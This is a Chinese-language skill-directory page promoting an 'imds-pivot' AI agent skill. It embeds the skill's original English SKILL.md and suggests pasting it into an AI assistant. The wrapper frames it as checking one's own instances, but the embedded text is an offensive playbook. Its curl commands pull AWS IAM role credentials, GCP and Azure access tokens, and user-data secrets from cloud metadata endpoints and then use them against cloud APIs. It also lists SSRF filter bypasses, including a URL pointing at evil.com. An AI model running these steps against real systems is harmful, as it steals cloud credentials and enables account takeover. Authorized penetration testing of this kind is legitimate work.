imds-pivot
它能做什么
这项技能涵盖云元数据端点如何通过服务端的弱点被访问,以及如何检查这一风险。适合云团队和应用安全团队。
适用场景
- ✓当授权测试在云端托管的应用中发现服务端请求伪造漏洞时。
- ✓当你需要检查自己的云实例上元数据服务是否受到保护时。
- ✓当团队想要一张比较各云服务商元数据端点的表格时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们的网页应用运行在 AWS 上。请帮我检查服务端请求伪造漏洞能否触及实例的元数据服务?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体确定云服务商,检查适用的元数据端点类型,并报告会话令牌等防护措施能否阻断这条路径。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Instance Metadata Service Pivot
When you have SSRF, server-side fetch, or RCE on a cloud-hosted instance, the metadata endpoint is the single highest-value local pivot. Each cloud has slightly different mechanics.
1. Identify the cloud provider
Header fingerprints, IP ranges, or just try in order:
| Cloud | Endpoint | Auth |
|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/ |
IMDSv1: no header. IMDSv2: PUT for token |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
Header Metadata-Flavor: Google |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
Header Metadata: true |
| Alibaba | http://100.100.100.200/latest/meta-data/ |
None |
| DigitalOcean | http://169.254.169.254/metadata/v1/ |
None |
| Oracle Cloud | http://169.254.169.254/opc/v2/instance/ |
Header Authorization: Bearer Oracle |
metadata_endpoints("aws") → returns full URL list for AWS
metadata_endpoints("gcp")
metadata_endpoints("azure")
2. AWS — extract IAM role creds
IMDSv1 (legacy, no token required):
ROLE=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json
IMDSv2 (requires session token):
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json
Output:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...", ← session token (REQUIRED for ASIA keys)
"Expiration": "2026-..."
}
Use:
export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId /tmp/creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey /tmp/creds.json)
export AWS_SESSION_TOKEN=$(jq -r .Token /tmp/creds.json)
aws sts get-caller-identity
# Pivot to aws-iam-enum/SKILL.md
3. AWS — user-data (often holds secrets)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/user-data"
User-data is the boot script. Often contains:
- AWS credentials (despite docs saying not to)
- API tokens, license keys
- Database connection strings
- Internal infrastructure URLs
4. GCP — service account tokens
H='Metadata-Flavor: Google'
# Identify
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email'
# Get access token (Bearer)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' > /tmp/gcp.json
TOKEN=$(jq -r .access_token /tmp/gcp.json)
# Use it
curl -s -H "Authorization: Bearer $TOKEN" \
'https://www.googleapis.com/compute/v1/projects/PROJ/zones/ZONE/instances'
# Project ID
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/project/project-id'
# All custom metadata (often holds startup secrets)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true'
5. Azure — managed identity tokens
H='Metadata: true'
# Instance metadata
curl -s -H "$H" 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'
# Token for resource ARM
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' > /tmp/azure.json
TOKEN=$(jq -r .access_token /tmp/azure.json)
# Use Bearer for ARM API
curl -s -H "Authorization: Bearer $TOKEN" \
'https://management.azure.com/subscriptions?api-version=2020-01-01'
# Token for storage (specify resource)
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/'
# Token for KeyVault
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'
6. SSRF through filters
When the target server filters local IPs:
| Bypass | Example |
|---|---|
| Decimal IP | 2852039166 for 169.254.169.254 |
| Hex IP | 0xA9FEA9FE |
| Mixed encoding | 169.254.169.0254 (octal last octet) |
| Embedded creds | http://169.254.169.254:80@evil.com/ (some parsers) |
| DNS rebinding | Domain w/ 1s TTL fli |
常见问题
什么是元数据服务?
它是云实例上的一个内部地址,提供配置详情,有时还提供凭据。
版本为什么重要?
该技能指出,较新的 AWS 版本要求会话令牌,这可以阻止简单的请求。
涵盖哪些云服务商?
该技能列出了 AWS、Google Cloud、Azure、阿里云、DigitalOcean 和 Oracle Cloud。
详情
作者的原始描述
Pivot from SSRF or RCE to cloud Instance Metadata Service (IMDS) — extract IAM role creds, instance identity, user-data secrets.
热度
- GitHub 星标
- 6.5k
- 排名
- #13998
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …